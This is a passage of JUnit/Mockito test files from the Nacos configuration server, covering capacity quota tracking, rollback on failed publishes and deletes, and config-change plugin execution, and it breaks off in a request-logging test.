Mockito.verify(capacityService, Mockito.times(1)).initGroupCapacity(eq(mockGroup));\n        Mockito.verify(capacityService, Mockito.times(1)).updateGroupUsage(eq(CounterMode.INCREMENT), eq(mockGroup));\n        Mockito.verify(proceedingJoinPoint, Mockito.times(1)).proceed();\n    }\n    \n    @Test\n    void testAroundPublishConfigForInsertAspect3Tenant() throws Throwable {\n        //test with insert\n        //condition:\n        //  1. has tenant: true\n        //  2. capacity limit check: true\n        //  3. over cluster quota: false\n        //  4. tenant capacity: not null\n        //  5. over tenant max size: true/false (if tenant max size is 0, will use default max size)\n        when(PropertyUtil.isManageCapacity()).thenReturn(true);\n        when(PropertyUtil.isCapacityLimitCheck()).thenReturn(true);\n        when(proceedingJoinPoint.getArgs()).thenReturn(new Object[]{configForm, configRequestInfo});\n        when(proceedingJoinPoint.proceed()).thenReturn(mockProceedingJoinPointResult); \n        when(configForm.getDataId()).thenReturn(mockDataId);\n        when(configForm.getGroup()).thenReturn(mockGroup);\n        when(configForm.getNamespaceId()).thenReturn(mockTenant);\n        when(configForm.getContent()).thenReturn(\"content\");\n        when(configRequestInfo.getSrcIp()).thenReturn(\"127.0.0.1\");\n        when(configInfoPersistService.findConfigInfo(any(), any(), any())).thenReturn(null);\n        when(capacityService.insertAndUpdateClusterUsage(any(), anyBoolean())).thenReturn(true);\n        when(capacityService.updateTenantUsage(eq(CounterMode.INCREMENT), eq(mockTenant))).thenReturn(true);\n        \n        NamespaceCapacity localTenantCapacity = new NamespaceCapacity();\n        localTenantCapacity.setNamespaceId(mockTenant);\n        localTenantCapacity.setMaxSize(0);\n        localTenantCapacity.setMaxAggrCount(0);\n        when(capacityService.getTenantCapacity(eq(mockTenant))).thenReturn(localTenantCapacity);\n        \n        Boolean localMockResult = (Boolean) capacityManagementAspect.aroundPublishConfig(proceedingJoinPoint);\n        assertEquals(mockProceedingJoinPointResult, localMockResult);\n        Mockito.verify(capacityService, Mockito.times(0)).initTenantCapacity(eq(mockTenant));\n        Mockito.verify(capacityService, Mockito.times(1)).updateTenantUsage(eq(CounterMode.INCREMENT), eq(mockTenant));\n        Mockito.verify(proceedingJoinPoint, Mockito.times(1)).proceed();\n        \n        //  5. over tenant max size: true\n        localTenantCapacity.setMaxSize(1);\n        localTenantCapacity.setMaxAggrCount(1);\n        \n        Exception exception = assertThrows(NacosException.class, () -> {\n            capacityManagementAspect.aroundPublishConfig(proceedingJoinPoint);\n        });\n        assertEquals(\"Configuration limit exceeded [group=mockGroup, namespaceId=mockTenant].\",\n                exception.getMessage());\n        \n        //  5. over tenant max size: true\n        localTenantCapacity.setMaxSize(10 * 1024);\n        localTenantCapacity.setMaxAggrCount(1024);\n        localMockResult = (Boolean) capacityManagementAspect.aroundPublishConfig(proceedingJoinPoint);\n        assertEquals(mockProceedingJoinPointResult, localMockResult);\n    }\n    \n    @Test\n    void testAroundPublishConfigForInsertAspect3Group() throws Throwable {\n        //test with insert\n        //condition:\n        //  1. has tenant: true\n        //  2. capacity limit check: true\n        //  3. over cluster quota: false\n        //  4. tenant capacity: not null\n        //  5. over tenant max size: true/false (if tenant max size is 0, will use default max size)\n        when(PropertyUtil.isManageCapacity()).thenReturn(true);\n        when(PropertyUtil.isCapacityLimitCheck()).thenReturn(true);\n        when(proceedingJoinPoint.getArgs()).thenReturn(new Object[]{configForm, configRequestInfo});\n        when(proceedingJoinPoint.proceed()).thenReturn(mockProceedingJoinPointResult);\n        when(configForm.getDataId()).thenReturn(mockDataId);\n        when(configForm.getGroup()).thenReturn(mockGroup);\n        when(configForm.getContent()).thenReturn(\"content\");\n        when(configRequestInfo.getSrcIp()).thenReturn(\"127.0.0.1\");\n        when(configInfoPersistService.findConfigInfo(any(), any(), any())).thenReturn(null);\n        when(capacityService.insertAndUpdateClusterUsage(any(), anyBoolean())).thenReturn(true);\n        when(capacityService.updateGroupUsage(eq(CounterMode.INCREMENT), eq(mockGroup))).thenReturn(true);\n        \n        GroupCapacity localGroupCapacity = new GroupCapacity();\n        localGroupCapacity.setGroupName(mockGroup);\n        localGroupCapacity.setMaxSize(0);\n        localGroupCapacity.setMaxAggrCount(0);\n        when(capacityService.getGroupCapacity(eq(mockGroup))).thenReturn(localGroupCapacity);\n        \n        Boolean localMockResult = (Boolean) capacityManagementAspect.aroundPublishConfig(proceedingJoinPoint);\n        assertEquals(true, localMockResult);\n        Mockito.verify(capacityService, Mockito.times(0)).initGroupCapacity(eq(mockGroup));\n        Mockito.verify(capacityService, Mockito.times(1)).updateGroupUsage(eq(CounterMode.INCREMENT), eq(mockGroup));\n        Mockito.verify(proceedingJoinPoint, Mockito.times(1)).proceed();\n        \n        //  5. over tenant max size: true\n        localGroupCapacity.setMaxSize(1);\n        localGroupCapacity.setMaxAggrCount(1);\n        Exception exception = assertThrows(NacosException.class, () -> {\n            capacityManagementAspect.aroundPublishConfig(proceedingJoinPoint);\n        });\n        assertEquals(\"Configuration limit exceeded [group=mockGroup, namespaceId=null].\", exception.getMessage());\n        \n        // 5. over tenant max size: true\n        localGroupCapacity.setMaxSize(10 * 1024);\n        localGroupCapacity.setMaxAggrCount(1024);\n        localMockResult = (Boolean) capacityManagementAspect.aroundPublishConfig(proceedingJoinPoint);\n        assertEquals(mockProceedingJoinPointResult, localMockResult);\n    }\n    \n    @Test\n    void testAroundPublishAspectTenant() throws Throwable {\n        //condition:\n        //  1. has tenant: true\n        //  2. capacity limit check: true\n        //  3. over cluster quota: false\n        //  4. tenant capacity: not null\n        //  5. over tenant quota: false\n        when(PropertyUtil.isManageCapacity()).thenReturn(true);\n        when(PropertyUtil.isCapacityLimitCheck()).thenReturn(true);\n        when(proceedingJoinPoint.getArgs()).thenReturn(new Object[]{configForm, configRequestInfo});\n        when(proceedingJoinPoint.proceed()).thenReturn(mockProceedingJoinPointResult); \n        when(configForm.getDataId()).thenReturn(\"dataId\");\n        when(configForm.getGroup()).thenReturn(\"group\");\n        when(configForm.getNamespaceId()).thenReturn(\"mockTenant\");\n        when(configForm.getContent()).thenReturn(\"content\");\n        when(configRequestInfo.getSrcIp()).thenReturn(\"127.0.0.1\");\n        when(configInfoPersistService.findConfigInfo(any(), any(), any())).thenReturn(new ConfigInfoWrapper());\n        when(capacityService.insertAndUpdateClusterUsage(any(), anyBoolean())).thenReturn(true);\n        when(capacityService.updateTenantUsage(eq(CounterMode.INCREMENT), eq(mockTenant))).thenReturn(true);\n        \n        NamespaceCapacity localTenantCapacity = new NamespaceCapacity();\n        localTenantCapacity.setNamespaceId(mockTenant);\n        localTenantCapacity.setMaxSize(10 * 1024);\n        localTenantCapacity.setMaxAggrCount(1024);\n        when(capacityService.getTenantCapacity(eq(mockTenant))).thenReturn(localTenantCapacity);\n        \n        Boolean localMockResult = (Boolean) capacityManagementAspect.aroundPublishConfig(proceedingJoinPoint);\n        assertEquals(mockProceedingJoinPointResult, localMockResult);\n        Mockito.verify(capacityService, Mockito.times(0)).initTenantCapacity(eq(mockTenant));\n        Mockito.verify(capacityService, Mockito.times(0)).updateTenantUsage(eq(CounterMode.INCREMENT), eq(mockTenant));\n        Mockito.verify(capacityService, Mockito.times(1)).getTenantCapacity(eq(mockTenant));\n        Mockito.verify(proceedingJoinPoint, Mockito.times(1)).proceed();\n    }\n    \n    @Test\n    void testAroundPublishAspectGroup() throws Throwable {\n        //condition:\n        //  1. has tenant: false\n        //  2. capacity limit check: true\n        //  3. over cluster quota: false\n        //  4. tenant capacity: not null\n        //  5. over group quota: false\n        when(PropertyUtil.isManageCapacity()).thenReturn(true);\n        when(PropertyUtil.isCapacityLimitCheck()).thenReturn(true);\n        when(proceedingJoinPoint.getArgs()).thenReturn(new Object[]{configForm, configRequestInfo});\n        when(proceedingJoinPoint.proceed()).thenReturn(mockProceedingJoinPointResult); \n        when(configForm.getDataId()).thenReturn(\"dataId\");\n        when(configForm.getContent()).thenReturn(\"content\");\n        when(configForm.getGroup()).thenReturn(mockGroup);\n        when(configRequestInfo.getSrcIp()).thenReturn(\"127.0.0.1\");\n        when(configRequestInfo.getSrcType()).thenReturn(\"http\");\n        when(configInfoPersistService.findConfigInfo(any(), any(), any())).thenReturn(new ConfigInfoWrapper());\n        when(capacityService.insertAndUpdateClusterUsage(any(), anyBoolean())).thenReturn(true);\n        when(capacityService.updateGroupUsage(eq(CounterMode.INCREMENT), eq(mockGroup))).thenReturn(true);\n        \n        GroupCapacity localGroupCapacity = new GroupCapacity();\n        localGroupCapacity.setGroupName(mockGroup);\n        localGroupCapacity.setMaxSize(10 * 1024);\n        localGroupCapacity.setMaxAggrCount(1024);\n        when(capacityService.getGroupCapacity(eq(mockGroup))).thenReturn(localGroupCapacity);\n        \n        Boolean localMockResult = (Boolean) capacityManagementAspect.aroundPublishConfig(proceedingJoinPoint);\n        assertEquals(mockProceedingJoinPointResult, localMockResult);\n        Mockito.verify(capacityService, Mockito.times(0)).initGroupCapacity(eq(mockGroup));\n        Mockito.verify(capacityService, Mockito.times(1)).getGroupCapacity(eq(mockGroup));\n        Mockito.verify(capacityService, Mockito.times(0)).updateGroupUsage(eq(CounterMode.INCREMENT), eq(mockGroup));\n        Mockito.verify(proceedingJoinPoint, Mockito.times(1)).proceed();\n    }\n    \n    @Test\n    void testAroundPublishConfigForInsertRollbackAspect() throws Throwable {\n        //test with insert\n        //condition:\n        //  1. has tenant: true\n        //  2. capacity limit check: true\n        //  3. over cluster quota: false\n        //  4. tenant capacity: not null\n        //  5. over tenant max size: true/false (if tenant max size is 0, will use default max size)\n        when(PropertyUtil.isManageCapacity()).thenReturn(true);\n        when(PropertyUtil.isCapacityLimitCheck()).thenReturn(true);\n        when(localMockProceedingJoinPoint.getArgs()).thenReturn(new Object[]{configForm, configRequestInfo});\n        when(configForm.getDataId()).thenReturn(\"dataId\");\n        when(configForm.getGroup()).thenReturn(\"group\");\n        when(configForm.getNamespaceId()).thenReturn(\"mockTenant\");\n        when(configForm.getContent()).thenReturn(\"content\");\n        when(configRequestInfo.getSrcIp()).thenReturn(\"127.0.0.1\");\n        when(configInfoPersistService.findConfigInfo(any(), any(), any())).thenReturn(null);\n        when(capacityService.insertAndUpdateClusterUsage(any(), anyBoolean())).thenReturn(true);\n        when(capacityService.updateClusterUsage(any())).thenReturn(true);\n        when(capacityService.updateTenantUsage(any(), eq(mockTenant))).thenReturn(true);\n        \n        NamespaceCapacity localTenantCapacity = new NamespaceCapacity();\n        localTenantCapacity.setNamespaceId(mockTenant);\n        localTenantCapacity.setMaxSize(10 * 1024);\n        localTenantCapacity.setMaxAggrCount(1024);\n        when(capacityService.getTenantCapacity(eq(mockTenant))).thenReturn(localTenantCapacity);\n        \n        Boolean localMockResult = null;\n        try {\n            localMockResult = (Boolean) capacityManagementAspect.aroundPublishConfig(localMockProceedingJoinPoint);\n        } catch (Throwable e) {\n            assertEquals(mockException.getMessage(), e.getMessage());\n        }\n        assertNull(localMockResult);\n        Mockito.verify(capacityService, Mockito.times(0)).initTenantCapacity(eq(mockTenant));\n        Mockito.verify(capacityService, Mockito.times(1)).updateTenantUsage(eq(CounterMode.INCREMENT), eq(mockTenant));\n        Mockito.verify(capacityService, Mockito.times(1)).updateTenantUsage(eq(CounterMode.DECREMENT), eq(mockTenant));\n        Mockito.verify(capacityService, Mockito.times(1))\n                .insertAndUpdateClusterUsage(eq(CounterMode.INCREMENT), anyBoolean());\n        Mockito.verify(capacityService, Mockito.times(1)).updateClusterUsage(eq(CounterMode.DECREMENT));\n        Mockito.verify(localMockProceedingJoinPoint, Mockito.times(1)).proceed();\n    }\n    \n    @Test\n    void testAroundDeleteConfigForTenant() throws Throwable {\n        when(PropertyUtil.isManageCapacity()).thenReturn(true);\n        when(proceedingJoinPoint.getArgs()).thenReturn(new Object[]{mockDataId, mockGroup, mockTenant, null});\n        when(localMockProceedingJoinPoint.getArgs()).thenReturn(new Object[]{mockDataId, mockGroup, mockTenant, null});\n        when(proceedingJoinPoint.proceed()).thenReturn(mockProceedingJoinPointResult); \n        when(configInfoPersistService.findConfigInfo(any(), any(), any())).thenReturn(null);\n        when(capacityService.insertAndUpdateClusterUsage(any(), anyBoolean())).thenReturn(true);\n        when(capacityService.insertAndUpdateTenantUsage(any(), eq(mockTenant), anyBoolean())).thenReturn(true);\n        when(capacityService.updateClusterUsage(any())).thenReturn(true);\n        when(capacityService.updateTenantUsage(any(), eq(mockTenant))).thenReturn(true);\n        \n        Boolean localMockResult = (Boolean) capacityManagementAspect.aroundDeleteConfig(proceedingJoinPoint);\n        assertEquals(mockProceedingJoinPointResult, localMockResult);\n        Mockito.verify(proceedingJoinPoint, Mockito.times(1)).proceed();\n        \n        when(configInfoPersistService.findConfigInfo(any(), any(), any())).thenReturn(new ConfigInfoWrapper());\n        localMockResult = (Boolean) capacityManagementAspect.aroundDeleteConfig(proceedingJoinPoint);\n        assertEquals(mockProceedingJoinPointResult, localMockResult);\n        Mockito.verify(capacityService, Mockito.times(1))\n                .insertAndUpdateClusterUsage(eq(CounterMode.DECREMENT), anyBoolean());\n        Mockito.verify(capacityService, Mockito.times(1))\n                .insertAndUpdateTenantUsage(eq(CounterMode.DECREMENT), eq(mockTenant), anyBoolean());\n        Mockito.verify(proceedingJoinPoint, Mockito.times(2)).proceed();\n        \n        localMockResult = null;\n        try {\n            localMockResult = (Boolean) capacityManagementAspect.aroundDeleteConfig(localMockProceedingJoinPoint);\n        } catch (Throwable e) {\n            assertEquals(mockException.getMessage(), e.getMessage());\n        }\n        assertNull(localMockResult);\n        Mockito.verify(capacityService, Mockito.times(2))\n                .insertAndUpdateClusterUsage(eq(CounterMode.DECREMENT), anyBoolean());\n        Mockito.verify(capacityService, Mockito.times(1)).updateClusterUsage(eq(CounterMode.INCREMENT));\n        Mockito.verify(capacityService, Mockito.times(2))\n                .insertAndUpdateTenantUsage(eq(CounterMode.DECREMENT), eq(mockTenant), anyBoolean());\n        Mockito.verify(capacityService, Mockito.times(1)).updateTenantUsage(eq(CounterMode.INCREMENT), eq(mockTenant));\n        Mockito.verify(localMockProceedingJoinPoint, Mockito.times(1)).proceed();\n    }\n    \n    @Test\n    void testAroundDeleteConfigForGroup() throws Throwable {\n        when(PropertyUtil.isManageCapacity()).thenReturn(true);\n        when(proceedingJoinPoint.getArgs()).thenReturn(new Object[]{mockDataId, mockGroup, mockTenant, null});\n        when(localMockProceedingJoinPoint.getArgs()).thenReturn(new Object[]{mockDataId, mockGroup, mockTenant, null});\n        when(proceedingJoinPoint.proceed()).thenReturn(mockProceedingJoinPointResult);\n        when(configInfoPersistService.findConfigInfo(any(), any(), any())).thenReturn(null);\n        when(capacityService.insertAndUpdateClusterUsage(any(), anyBoolean())).thenReturn(true);\n        when(capacityService.insertAndUpdateGroupUsage(any(), eq(mockGroup), anyBoolean())).thenReturn(true);\n        when(capacityService.updateClusterUsage(any())).thenReturn(true);\n        when(capacityService.updateGroupUsage(any(), eq(mockGroup))).thenReturn(true);\n        \n        Boolean localMockResult = (Boolean) capacityManagementAspect.aroundDeleteConfig(proceedingJoinPoint);\n        assertEquals(mockProceedingJoinPointResult, localMockResult);\n        Mockito.verify(proceedingJoinPoint, Mockito.times(1)).proceed();\n        \n        when(configInfoPersistService.findConfigInfo(any(), any(), any())).thenReturn(new ConfigInfoWrapper());\n        localMockResult = (Boolean) capacityManagementAspect.aroundDeleteConfig(proceedingJoinPoint);\n        assertEquals(mockProceedingJoinPointResult, localMockResult);\n        Mockito.verify(capacityService, Mockito.times(1))\n                .insertAndUpdateClusterUsage(eq(CounterMode.DECREMENT), anyBoolean());\n        Mockito.verify(capacityService, Mockito.times(1))\n                .insertAndUpdateTenantUsage(eq(CounterMode.DECREMENT), eq(mockTenant), anyBoolean());\n        Mockito.verify(proceedingJoinPoint, Mockito.times(2)).proceed();\n        \n        localMockResult = null;\n        try {\n            localMockResult = (Boolean) capacityManagementAspect.aroundDeleteConfig(localMockProceedingJoinPoint);\n        } catch (Throwable e) {\n            assertEquals(mockException.getMessage(), e.getMessage());\n        }\n        assertNull(localMockResult);\n        Mockito.verify(capacityService, Mockito.times(2))\n                .insertAndUpdateClusterUsage(eq(CounterMode.DECREMENT), anyBoolean());\n        Mockito.verify(capacityService, Mockito.times(1)).updateClusterUsage(eq(CounterMode.INCREMENT));\n        Mockito.verify(capacityService, Mockito.times(2))\n                .insertAndUpdateTenantUsage(eq(CounterMode.DECREMENT), eq(mockTenant), anyBoolean());\n        Mockito.verify(localMockProceedingJoinPoint, Mockito.times(1)).proceed();\n    }\n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/aspect/ConfigChangeAspectTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.aspect;\n\nimport com.alibaba.nacos.api.config.remote.response.ConfigPublishResponse;\nimport com.alibaba.nacos.common.event.ServerConfigChangeEvent;\nimport com.alibaba.nacos.config.server.configuration.ConfigChangeConfigs;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport com.alibaba.nacos.config.server.utils.RequestUtil;\nimport com.alibaba.nacos.plugin.config.ConfigChangePluginManager;\nimport com.alibaba.nacos.plugin.config.constants.ConfigChangeConstants;\nimport com.alibaba.nacos.plugin.config.constants.ConfigChangeExecuteTypes;\nimport com.alibaba.nacos.plugin.config.constants.ConfigChangePointCutTypes;\nimport com.alibaba.nacos.plugin.config.model.ConfigChangeRequest;\nimport com.alibaba.nacos.plugin.config.model.ConfigChangeResponse;\nimport com.alibaba.nacos.plugin.config.spi.ConfigChangePluginService;\nimport com.alibaba.nacos.sys.utils.PropertiesUtil;\nimport jakarta.servlet.http.HttpServletRequest;\nimport org.aspectj.lang.ProceedingJoinPoint;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.ArgumentCaptor;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\n\nimport java.util.Properties;\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.TimeUnit;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(SpringExtension.class)\nclass ConfigChangeAspectTest {\n    \n    ConfigChangeAspect configChangeAspect;\n    \n    ConfigChangeConfigs configChangeConfigs;\n    \n    @Mock\n    ConfigChangePluginService configChangePluginService;\n    \n    MockedStatic<PropertiesUtil> propertiesStatic;\n    \n    MockedStatic<RequestUtil> requestUtilMockedStatic;\n    \n    @Mock\n    private ProceedingJoinPoint pjp;\n    \n    @Mock\n    private ConfigForm configForm;\n    \n    @Mock\n    private ConfigRequestInfo configRequestInfo;\n    \n    @BeforeEach\n    void before() {\n        //mock config change service enabled.\n        propertiesStatic = Mockito.mockStatic(PropertiesUtil.class);\n        requestUtilMockedStatic = Mockito.mockStatic(RequestUtil.class);\n        Properties properties = new Properties();\n        properties.put(\"mockedConfigChangeService.enabled\", \"true\");\n        propertiesStatic.when(() -> PropertiesUtil.getPropertiesWithPrefix(any(),\n                eq(ConfigChangeConstants.NACOS_CORE_CONFIG_PLUGIN_PREFIX))).thenReturn(properties);\n        requestUtilMockedStatic.when(() -> RequestUtil.getSrcUserName(any(HttpServletRequest.class)))\n                .thenReturn(\"mockedUser\");\n        Mockito.when(configChangePluginService.getServiceType()).thenReturn(\"mockedConfigChangeService\");\n        Mockito.when(configChangePluginService.pointcutMethodNames()).thenReturn(ConfigChangePointCutTypes.values());\n        Mockito.when(configChangePluginService.executeType()).thenReturn(ConfigChangeExecuteTypes.EXECUTE_AFTER_TYPE);\n        \n        ConfigChangePluginManager.join(configChangePluginService);\n        \n        configChangeConfigs = new ConfigChangeConfigs();\n        configChangeAspect = new ConfigChangeAspect(configChangeConfigs);\n    }\n    \n    @AfterEach\n    void after() {\n        propertiesStatic.close();\n        requestUtilMockedStatic.close();\n        ConfigChangePluginManager.reset();\n    }\n    \n    @Test\n    void testPublishOrUpdateConfigAround() throws Throwable {\n        Mockito.when(configChangePluginService.executeType()).thenReturn(ConfigChangeExecuteTypes.EXECUTE_AFTER_TYPE);\n        \n        when(pjp.getArgs()).thenReturn(new Object[] {configForm, configRequestInfo});\n        when(configForm.getDataId()).thenReturn(\"dataId\");\n        when(configForm.getGroup()).thenReturn(\"group\");\n        when(configForm.getNamespaceId()).thenReturn(\"namespaceId\");\n        when(configForm.getContent()).thenReturn(\"content\");\n        when(configRequestInfo.getSrcIp()).thenReturn(\"127.0.0.1\");\n        when(configRequestInfo.getSrcType()).thenReturn(\"http\");\n        when(pjp.proceed(any())).thenReturn(\"Success\");\n        \n        Object o = configChangeAspect.publishOrUpdateConfigAround(pjp);\n        Thread.sleep(20L);\n        \n        // expect service executed.\n        verify(configChangePluginService, Mockito.times(1))\n                .execute(any(ConfigChangeRequest.class), any(ConfigChangeResponse.class));\n        //expect join point processed success.\n        assertEquals(\"Success\", o);\n    }\n    \n    @Test\n    void testRemoveConfigByIdAround() throws Throwable {\n        Mockito.when(configChangePluginService.executeType()).thenReturn(ConfigChangeExecuteTypes.EXECUTE_AFTER_TYPE);\n        \n        String dataId = \"dataId1\";\n        String group = \"group1\";\n        String namespaceId = \"namespaceId1\";\n        String tag = \"tag1\";\n        String clientIp = \"127.0.0.1\";\n        String srcUser = \"mockedUser\";\n        String srcType = \"http\";\n        \n        when(pjp.getArgs()).thenReturn(new Object[] {dataId, group, namespaceId, tag, clientIp, srcUser, srcType});\n        Mockito.when(pjp.proceed(any())).thenReturn(\"mock success return\");\n        Object o = configChangeAspect.removeConfigByIdAround(pjp);\n        Thread.sleep(20L);\n        \n        // expect service executed.\n        verify(configChangePluginService, Mockito.times(1))\n                .execute(any(ConfigChangeRequest.class), any(ConfigChangeResponse.class));\n        //expect join point processed success.\n        assertEquals(\"mock success return\", o);\n    }\n    \n    @Test\n    void testDisEnablePluginService() throws Throwable {\n        Properties properties = new Properties();\n        properties.put(\"mockedConfigChangeService.enabled\", \"false\");\n        String dataId = \"dataId1\";\n        String group = \"group1\";\n        String namespaceId = \"namespaceId1\";\n        String tag = \"tag1\";\n        String clientIp = \"127.0.0.1\";\n        String srcUser = \"mockedUser\";\n        String srcType = \"http\";\n        \n        when(pjp.getArgs()).thenReturn(new Object[] {dataId, group, namespaceId, tag, clientIp, srcUser, srcType});\n        propertiesStatic.when(() -> PropertiesUtil.getPropertiesWithPrefix(any(),\n                eq(ConfigChangeConstants.NACOS_CORE_CONFIG_PLUGIN_PREFIX))).thenReturn(properties);\n        configChangeConfigs.onEvent(ServerConfigChangeEvent.newEvent());\n        assertFalse(Boolean.parseBoolean(\n                configChangeConfigs.getPluginProperties(\"mockedConfigChangeService\").getProperty(\"enabled\")));\n        \n        Mockito.when(configChangePluginService.executeType()).thenReturn(ConfigChangeExecuteTypes.EXECUTE_BEFORE_TYPE);\n        Mockito.when(configChangePluginService.getServiceType()).thenReturn(\"mockedConfigChangeService\");\n        ConfigPublishResponse configPublishResponse = ConfigPublishResponse.buildSuccessResponse();\n        Mockito.when(pjp.proceed()).thenReturn(configPublishResponse);\n        //execute\n        Object o = configChangeAspect.removeConfigByIdAround(pjp);\n        //expect\n        verify(configChangePluginService, Mockito.times(0))\n                .execute(any(ConfigChangeRequest.class), any(ConfigChangeResponse.class));\n        assertEquals(configPublishResponse, o);\n    }\n    \n    @Test\n    void testBeforePluginFailurePreventsProceed() throws Throwable {\n        Mockito.when(configChangePluginService.executeType()).thenReturn(ConfigChangeExecuteTypes.EXECUTE_BEFORE_TYPE);\n        Mockito.doAnswer(invocation -> {\n            ConfigChangeResponse response = invocation.getArgument(1);\n            response.setSuccess(false);\n            response.setMsg(\"Before plugin failed\");\n            return null;\n        }).when(configChangePluginService).execute(any(), any());\n        \n        when(pjp.getArgs()).thenReturn(new Object[]{configForm, configRequestInfo});\n        when(configForm.getDataId()).thenReturn(\"dataId\");\n        when(configRequestInfo.getSrcType()).thenReturn(\"http\");\n        Object result = configChangeAspect.publishOrUpdateConfigAround(pjp);\n        \n        verify(pjp, never()).proceed();\n        assertEquals(false, result);\n        verify(configChangePluginService).execute(any(), any());\n    }\n    \n    @Test\n    void testProceedThrowsExceptionHandled() throws Throwable {\n        when(pjp.getArgs()).thenReturn(new Object[]{configForm, configRequestInfo});\n        when(configForm.getDataId()).thenReturn(\"dataId\");\n        when(configRequestInfo.getSrcType()).thenReturn(\"http\");\n        when(pjp.proceed(any())).thenThrow(new RuntimeException(\"Proceed error\"));\n        \n        Object result = configChangeAspect.publishOrUpdateConfigAround(pjp);\n        \n        assertEquals(false, result);\n    }\n    \n    @Test\n    void testAfterPluginExecutedAsynchronously() throws Throwable {\n        CountDownLatch latch = new CountDownLatch(1);\n        Mockito.when(configChangePluginService.executeType()).thenReturn(ConfigChangeExecuteTypes.EXECUTE_AFTER_TYPE);\n        Mockito.doAnswer(invocation -> {\n            latch.countDown();\n            return null;\n        }).when(configChangePluginService).execute(any(), any());\n        \n        when(pjp.getArgs()).thenReturn(new Object[]{configForm, configRequestInfo});\n        when(configForm.getDataId()).thenReturn(\"dataId\");\n        when(configRequestInfo.getSrcType()).thenReturn(\"http\");\n        when(pjp.proceed()).thenReturn(\"Success\");\n        \n        Object result = configChangeAspect.publishOrUpdateConfigAround(pjp);\n        \n        assertTrue(latch.await(500, TimeUnit.MILLISECONDS));\n        verify(configChangePluginService).execute(any(), any());\n        assertEquals(null, result);\n    }\n    \n    @Test\n    void testRpcSourceTypeHandling() throws Throwable {\n        when(pjp.getArgs()).thenReturn(new Object[]{configForm, configRequestInfo});\n        when(configRequestInfo.getSrcType()).thenReturn(\"rpc\");\n        when(configForm.getDataId()).thenReturn(\"dataId\");\n        when(pjp.proceed()).thenReturn(\"Success\");\n        \n        configChangeAspect.publishOrUpdateConfigAround(pjp);\n        ArgumentCaptor<ConfigChangeRequest> requestCaptor = ArgumentCaptor.forClass(ConfigChangeRequest.class);\n        verify(configChangePluginService).execute(requestCaptor.capture(), any());\n        assertEquals(ConfigChangePointCutTypes.PUBLISH_BY_RPC, requestCaptor.getValue().getRequestType());\n    }\n    \n    @Test\n    void testNoPluginsEnabled() throws Throwable {\n        Properties properties = new Properties();\n        properties.put(\"mockedConfigChangeService.enabled\", \"false\");\n        propertiesStatic.when(() -> PropertiesUtil.getPropertiesWithPrefix(any(), any())).thenReturn(properties);\n        configChangeConfigs.onEvent(ServerConfigChangeEvent.newEvent());\n        \n        when(pjp.getArgs()).thenReturn(new Object[]{configForm, configRequestInfo});\n        when(configRequestInfo.getSrcType()).thenReturn(\"http\");\n        when(pjp.proceed()).thenReturn(\"Success\");\n        \n        Object result = configChangeAspect.publishOrUpdateConfigAround(pjp);\n        \n        verify(configChangePluginService, never()).execute(any(), any());\n        assertEquals(\"Success\", result);\n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/aspect/RequestLogAspectTest.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.aspect;\n\nimport com.alibaba.nacos.api.config.remote.request.ConfigBatchListenRequest;\nimport com.alibaba.nacos.api.config.remote.response.ConfigChangeBatchListenResponse;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport com.alibaba.nacos.config.server.monitor.MetricsMonitor;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport org.aspectj.lang.ProceedingJoinPoint;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\n\nimport java.util.concurrent.atomic.AtomicInteger;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(SpringExtension.class)\nclass RequestLogAspectTest {\n    \n    @Mock\n    private ProceedingJoinPoint pjp;\n    \n    @Mock\n    private ConfigForm configForm;\n    \n    @Mock\n    private ConfigRequestInfo configRequestInfo;\n    \n    @Mock\n    private ConfigQueryChainRequest chainRequest;\n    \n    @Mock\n    private ConfigBatchListenRequest request;\n    \n    @Mock\n    private Response response;\n    \n    